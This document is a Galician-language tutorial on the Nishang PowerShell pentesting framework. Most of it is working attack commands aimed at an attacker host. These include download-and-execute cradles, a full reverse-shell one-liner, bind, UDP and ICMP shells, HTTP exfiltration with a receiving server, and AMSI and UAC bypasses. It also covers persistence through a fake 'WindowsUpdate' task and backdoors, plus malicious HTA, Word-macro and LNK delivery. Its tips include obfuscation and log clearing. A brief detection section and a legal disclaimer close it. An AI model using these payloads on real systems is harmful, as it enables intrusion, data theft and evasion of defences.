Ir ao contido

Nishang - PowerShell Framework para Pentesting

Descrición

Nishang é un framework completo de scripts de PowerShell deseñado especificamente para probas de penetración, post-explotación e operacións ofensivas de Red Team en ambientes Windows. Foi creado por Nikhil Mittal e é amplamente usado pola comunidade de seguridade.

Instalación

Desde GitHub

git clone https://github.com/samratashok/nishang.git
cd nishang

Estrutura de Directorios

nishang/
├── Antak-WebShell/      # Web shells en ASPX
├── Backdoors/           # Scripts de backdoors
├── Bypass/              # Scripts de evasión
├── Client/              # Ataques do lado do cliente
├── Escalation/          # Escalada de privilexios
├── Execution/           # Execución de comandos
├── Gather/              # Recolección de información
├── MITM/                # Ataques Man-in-the-Middle
├── Pivot/               # Scripts de pivoting
├── Prasadhak/           # Backdoors baseados en DNS
├── Scan/                # Scripts de escaneo
└── Shells/              # Reverse e bind shells

Módulos Principais

1. Shells

Os scripts máis usados de Nishang para obter acceso remoto.

Validez dos Scripts de Nishang

Nishang non mantén unha lista oficial de scripts funcionais. A validez dun script determínase pola súa compatibilidade co Windows moderno, a súa capacidade de abrir unha sesión interactiva real e o seu uso continuado en laboratorios e escenarios actuais. Baixo estes criterios, só os shells TCP/UDP de Nishang seguen sendo operativos hoxe. O script Invoke-PowerShellIcmp.ps1 envía paquetes ICMP baleiros e non funciona con listeners estándar.

Como funciona a carga en memoria

Cando executas un script de Nishang con IEX (Invoke-Expression) ocorre o seguinte:

  1. DownloadString descarga o contido do ficheiro .ps1 desde o servidor HTTP como texto
  2. IEX executa ese texto en memoria (sen tocar disco, deixando menos rastro)
  3. O script define a función (por exemplo Invoke-PowerShellTcp) e cárgaa na sesión atual de PowerShell
  4. A función queda dispoñible en memoria esperando ser chamada
  5. IMPORTANTE: A función NON se executa automaticamente, tes que chamala explícitamente

Por iso necesitas dous pasos: cargar (IEX) + executar (chamar á función).

Entendendo powershell -ep bypass -c

Esta combinación de opcións é fundamental en pentesting con PowerShell:

  • powershell: Inicia unha nova sesión de PowerShell
  • -ep bypass (ExecutionPolicy Bypass): Desactiva temporalmente as restricións de execución de scripts de Windows
  • -c (Command): Indica que o seguinte é un comando a executar

Por que é necesario? Windows bloquea por defecto a execución de scripts non asinados. Con -ep bypass evitamos este bloqueo sen modificar a configuración do sistema.

Exemplo completo: 

    powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"

Opcións adicionais útiles:

  • -w hidden: Oculta a ventana de PowerShell
  • -nop (NoProfile): Non carga o perfil do usuario (máis rápido)
  • -noni (NonInteractive): Non espera interacción do usuario

Comprobar política actual: 

    Get-ExecutionPolicy

Invoke-PowerShellTcp (Reverse Shell)

Uso básico (dous pasos): 

# Paso 1: Descarga o script e carga a función en memoria (NON produce saída visible)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Shells/Invoke-PowerShellTcp.ps1')

# Paso 2: Agora executa a función que está cargada en memoria
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444

Comprobar se a función está en memoria: 

# Antes de cargar o script: dará erro
Get-Command Invoke-PowerShellTcp
# Resultado: Get-Command : The term 'Invoke-PowerShellTcp' is not recognized...

# Despois de executar IEX: debería amosar a función
Get-Command Invoke-PowerShellTcp
# Resultado: Function        Invoke-PowerShellTcp

# Ver funcións de Nishang cargadas
Get-Command -CommandType Function | Where-Object {$_.Name -like "Invoke-*"}

Versión todo nun só paso (usando punto e coma para separar comandos): 

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444

Versión con script modificado (recomendado para simplificar ataques):

Primeiro, modifica o ficheiro no Kali engadindo ao final do script a chamada á función: 

# Editar o ficheiro
nano Shells/Invoke-PowerShellTcp.ps1

# Engadir AO FINAL (despois de pechar a función, última liña):
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444

Agora o script defínese e execútase automaticamente cun só comando desde Windows: 

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Shells/Invoke-PowerShellTcp.ps1')

Escoitar no atacante: 

rlwrap nc -lvnp 4444

Invoke-PowerShellTcpOneLine

Shell reversa nun só comando: 

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

2. Gather (Recolección de Información)

Get-Information

Recolle información completa do sistema: 

Import-Module .\Gather\Get-Information.ps1
Get-Information

Exportar a ficheiro: 

Get-Information | Out-File info.txt

Get-WLAN-Keys

Obtén contrasinais de redes WiFi gardadas: 

Import-Module .\Gather\Get-WLAN-Keys.ps1
Get-WLAN-Keys

Invoke-CredentialsPhish

Crea unha ventana falsa de credenciais: 

Import-Module .\Gather\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish

3. Escalation (Escalada de Privilexios)

Invoke-PsUACme

Bypass de UAC: 

Import-Module .\Escalation\Invoke-PsUACme.ps1
Invoke-PsUACme -Verbose

Métodos específicos: 

Invoke-PsUACme -method oobe -Verbose

Enable-DuplicateToken

Roba tokens de procesos: 

Import-Module .\Escalation\Enable-DuplicateToken.ps1
Enable-DuplicateToken

4. Execution (Execución)

Invoke-Encode

Codifica comandos para evadir detección: 

Import-Module .\Execution\Invoke-Encode.ps1
Invoke-Encode -DataToEncode "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"

Download-Execute-PS

Descarga e executa scripts: 

Import-Module .\Execution\Download-Execute-PS.ps1
Download-Execute-PS -URL http://10.10.14.5/payload.ps1

5. Bypass (Evasión)

Invoke-AmsiBypass

Desactiva Windows Antimalware Scan Interface: 

Import-Module .\Bypass\Invoke-AmsiBypass.ps1
Invoke-AmsiBypass

Exemplo de uso combinado: 

# Primeiro bypass de AMSI
Invoke-AmsiBypass
# Logo executa o payload
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/payload.ps1')

6. Backdoors

HTTP-Backdoor

Backdoor que comunica por HTTP: 

Import-Module .\Backdoors\HTTP-Backdoor.ps1
HTTP-Backdoor -CheckURL http://10.10.14.5/check -PayloadURL http://10.10.14.5/payload

DNS_TXT_Pwnage

Backdoor que usa consultas DNS TXT: 

Import-Module .\Backdoors\DNS_TXT_Pwnage.ps1
DNS_TXT_Pwnage -startdomain start.example.com -cmdstring cmd.example.com

7. Client (Lado do Cliente)

Out-CHM

Crea arquivos CHM maliciosos: 

Import-Module .\Client\Out-CHM.ps1
Out-CHM -Payload "powershell.exe -c IEX..." -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

Out-Word

Xera documentos Word con macros: 

Import-Module .\Client\Out-Word.ps1
Out-Word -Payload "powershell.exe IEX..." -OutputFile Doc1.doc

8. Pivot

Invoke-NetworkRelay

Relay de conexións de rede: 

Import-Module .\Pivot\Invoke-NetworkRelay.ps1
Invoke-NetworkRelay -LocalPort 8080 -RemoteIP 192.168.100.10 -RemotePort 80

Exemplos Prácticos Completos

Escenario 1: Shells Reversas e Bind

Opción A: Reverse Shell TCP (Invoke-PowerShellTcp)

Paso 1 - Preparar o servidor HTTP no atacante: 

cd nishang
python3 -m http.server 80

Paso 2 - Escoitar conexións: 

rlwrap nc -lvnp 4444

Paso 3 - Executar na vítima: 

powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444"

Opción B: Reverse Shell OneLine (RECOMENDADO - Máis estable)

Esta versión é máis fiable porque non depende de funcións complexas.

Paso 1 - Editar script no Kali para personalizar IP e porto: 

nano Shells/Invoke-PowerShellTcpOneLine.ps1
# Editar na liña 3 (a única liña de código, eliminar comentarios):
# $client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);
# Cambiar IP e porto polos teus valores

Paso 2 - Escoitar no atacante: 

rlwrap nc -lvnp 4444

Paso 3 - Executar na vítima: 

powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Shells/Invoke-PowerShellTcpOneLine.ps1')"

Opción C: Bind Shell TCP

Útil cando hai firewall de saída na vítima pero podes abrir portos de entrada.

Paso 1 - Crear regra firewall no Windows (vítima): 

New-NetFirewallRule -DisplayName "Allow TCP 4444" -Direction Inbound -Protocol TCP -LocalPort 4444 -Action Allow

Paso 2 - Editar script no Kali: 

nano Shells/Invoke-PowerShellTcpOneLineBind.ps1
# Cambiar o porto se é necesario

Paso 3 - Executar na vítima (queda escoitando): 

powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Shells/Invoke-PowerShellTcpOneLineBind.ps1')"

Paso 4 - Conectar desde Kali: 

nc <IP_VITIMA> 4444

Paso 5 - Limpeza (eliminar regra firewall): 

Remove-NetFirewallRule -DisplayName "Allow TCP 4444"

Opción D: Reverse Shell UDP

Útil para evadir firewalls que só monitorizan TCP.

Paso 1 - Escoitar UDP no Kali: 

nc -ulvnp 4444

Paso 2 - Executar na vítima: 

powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.10.14.5 -Port 4444"

Opción E: ICMP Shell (icmpsh) - AVANZADO E LIMITADO

IMPORTANTE: Invoke-PowerShellIcmp.ps1 de Nishang NON funciona (envía paquetes ICMP baleiros). Para ICMP shells hai que usar o cliente icmpsh.exe do proxecto icmpsh.

Setup inicial (só primeira vez): 

# 1. Instalar Python 2 e dependencias
sudo apt install python2 python2-dev -y

# 2. Instalar virtualenv
sudo python2 -m pip install virtualenv

# 3. Clonar icmpsh
git clone https://github.com/inquisb/icmpsh.git
cd icmpsh

# 4. Crear entorno virtual
python2 -m virtualenv venv_icmpsh

# 5. Activar e instalar impacket
source venv_icmpsh/bin/activate
pip install setuptools==44.1.1
pip install impacket==0.9.24
deactivate

Uso: 

cd ~/icmpsh

# Activar entorno virtual
source venv_icmpsh/bin/activate

# Desactivar ICMP echo (CRÍTICO!)
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1

# Executar listener
sudo $(which python) icmpsh_m.py 10.10.14.5 <IP_VICTIMA>

# Ao rematar: restaurar
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=0
deactivate

Na vítima (Windows):

Copiar icmpsh.exe ao sistema: 

# No Kali - Servir ficheiro
cd ~/icmpsh
python3 -m http.server 8080

# No Windows - Descargar executable
Invoke-WebRequest -Uri http://10.10.14.5:8080/icmpsh.exe -OutFile C:\Windows\Temp\icmpsh.exe

# Executar
C:\Windows\Temp\icmpsh.exe -t 10.10.14.5

Nota: Este método require transferir un executable ao Windows, eliminando a vantaxe de "execución en memoria" de PowerShell. Por isto e polas limitacións mencionadas, recoméndase usar TCP OneLine ou UDP de Nishang en seu lugar.

Comparación de Shells

Tipo Vantaxes Desvantaxes Uso Recomendado
TCP Reverse Estándar, fiable Detectable por firewalls Uso xeral
TCP OneLine Máis estable, sen funcións Require editar script RECOMENDADO
Bind Shell Elude firewall de saída Require abrir porto Redes con firewall saída estrito
UDP Evade firewalls só TCP Menos fiable Evasión de firewall
ICMP Moi sigilosa Lenta, complexa, non usa Nishang Sigilo máximo (casos moi específicos)

Escenario 2: Recolección de Información + Exfiltración

Método en Memoria (Recomendado)

# Descargar e executar en memoria (sen tocar disco)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Gather/Get-Information.ps1')

# Recoller información
$info = Get-Information

# Gardar temporalmente se é necesario
$info | Out-File C:\Windows\Temp\info.txt

# Exfiltrar por HTTP POST
Invoke-RestMethod -Uri http://10.10.14.5:8000/data -Method Post -Body $info

Servidor receptor no Kali: 

# Opción simple con netcat
nc -lvnp 8000 > datos_exfiltrados.txt

# Opción con servidor Python
# server.py
cat > server.py <<EOF
from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        # Ler a lonxitude dos datos enviados
        content_length = int(self.headers['Content-Length'])
        # Ler os datos
        post_data = self.rfile.read(content_length)

        print("\n[+] Datos recibidos:")
        print(post_data.decode('utf-8'))

        # Responder ao cliente (PowerShell) para que non de erro
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"Datos recibidos correctamente")

def run(server_class=HTTPServer, handler_class=RequestHandler, port=8000):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f"[*] Escoitando no porto {port}...")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()

if __name__ == '__main__':
    run()
EOF

# Executar servidor
python3 server.py

Escenario 3: Bypass UAC + Escalada de Privilexios

Secuencia Completa en Memoria

# Paso 1: Bypass AMSI primeiro (desactiva protección antimalware)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Bypass/Invoke-AmsiBypass.ps1')
Invoke-AmsiBypass

# Paso 2: Bypass UAC (elevar privilexios sen prompt)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Escalation/Invoke-PsUACme.ps1')
Invoke-PsUACme -method oobe -Verbose

# Paso 3: Shell con privilexios elevados
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Shells/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 5555

No Kali (escoitar o novo porto elevado): 

rlwrap nc -lvnp 5555

Verificar Privilexios

# Antes do bypass
whoami /priv
whoami /groups

# Despois do bypass (deberías ver privilexios elevados)
whoami /priv
# Busca: SeDebugPrivilege, SeImpersonatePrivilege

Métodos Alternativos de UAC Bypass

# Método 1: OOBE
Invoke-PsUACme -method oobe

# Método 2: CompMgmtLauncher
Invoke-PsUACme -method CompMgmtLauncher

# Método 3: Sysprep
Invoke-PsUACme -method sysprep

# Listar todos os métodos dispoñibles
Invoke-PsUACme -Verbose

Escenario 4: Persistencia

Opción A: Backdoor en Screensaver (En Memoria)

# Descargar e executar
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Backdoors/Add-ScrnSaveBackdoor.ps1')

# Configurar backdoor no screensaver
Add-ScrnSaveBackdoor -PayloadURL http://10.10.14.5/payload.ps1

Opción B: HTTP Backdoor (Polling Periódico)

# Descarga e carga
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Backdoors/HTTP-Backdoor.ps1')

# Configurar backdoor que chequea periodicamente
HTTP-Backdoor -CheckURL http://10.10.14.5/check -PayloadURL http://10.10.14.5/execute -MagicString "ExecuteNow" -StopString "StopBackdoor"

Servidor de control no Kali: 

# Ficheiro "check" (responde ao polling)
echo "ExecuteNow" > /var/www/html/check

# Ficheiro "execute" (payload a executar)
cat > /var/www/html/execute << 'EOF'
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Shells/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444
EOF

# Iniciar servidor web
cd /var/www/html
python3 -m http.server 80

Opción C: Tarea Programada (Desde ficheiro local)

# Crear script de payload
$payload = @'
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')
'@
$payload | Out-File C:\Windows\Temp\update.ps1

# Crear tarea programada que se executa ao inicio
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -nop -w hidden -f C:\Windows\Temp\update.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -Principal $principal

# Verificar
Get-ScheduledTask -TaskName "WindowsUpdate"

# Eliminar cando remates
Unregister-ScheduledTask -TaskName "WindowsUpdate" -Confirm:$false

Opción D: DNS TXT Backdoor (Sigiloso)

# Descarga
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Backdoors/DNS_TXT_Pwnage.ps1')

# Configurar (require control dun dominio DNS)
DNS_TXT_Pwnage -startdomain start.example.com -cmdstring cmd.example.com -subdomains -AuthNS ns1.example.com

Técnicas de Entrega

Vía HTA (HTML Application)

<script language="VBScript">
  Set shell = CreateObject("Wscript.Shell")
  shell.run "powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"
  window.close()
</script>

Vía Macro de Word

Sub AutoOpen()
  Dim objShell As Object
  Set objShell = CreateObject("Wscript.Shell")
  objShell.Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')", 0
End Sub

Vía LNK (Acceso Directo)

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Users\Public\Desktop\Update.lnk")
$lnk.TargetPath = "powershell.exe"
$lnk.Arguments = "-ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"
$lnk.Save()

Mellores Prácticas

  1. Codifica sempre os payloads usando base64 ou outros métodos
  2. Usa HTTPS cando sexa posible para evadir detección de rede
  3. Combina con ofuscación para evitar antivirus
  4. Executa en memoria sempre que poidas (evita tocar disco)
  5. Limpa os logs tras as operacións

Ofuscación Básica

# Codificar en Base64
$command = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

# Executar
powershell -EncodedCommand $encodedCommand

Detección e Contramedidas

Como defensor, busca:

  • Execucións de PowerShell con -encodedcommand
  • Conexións de rede desde powershell.exe
  • Descarga de scripts desde internet
  • Desactivación de AMSI
  • Modificacións de ExecutionPolicy

Notas Legais e Éticas

⚠️ AVISO CRÍTICO: Nishang é unha ferramenta moi potente que DEBE usarse EXCLUSIVAMENTE en:

  • ✅ Auditorías de seguridade con contrato e autorización escrita
  • ✅ Ambientes de laboratorio propios
  • ✅ Competicións CTF autorizadas
  • ✅ Formación en seguridade con permisos

❌ PROHIBIDO:

  • Usar sen autorización explícita
  • Ataques a sistemas alleos
  • Acceso non autorizado a datos

O uso ilegal pode resultar en graves consecuencias legais incluíndo prisión.

Recursos Adicionais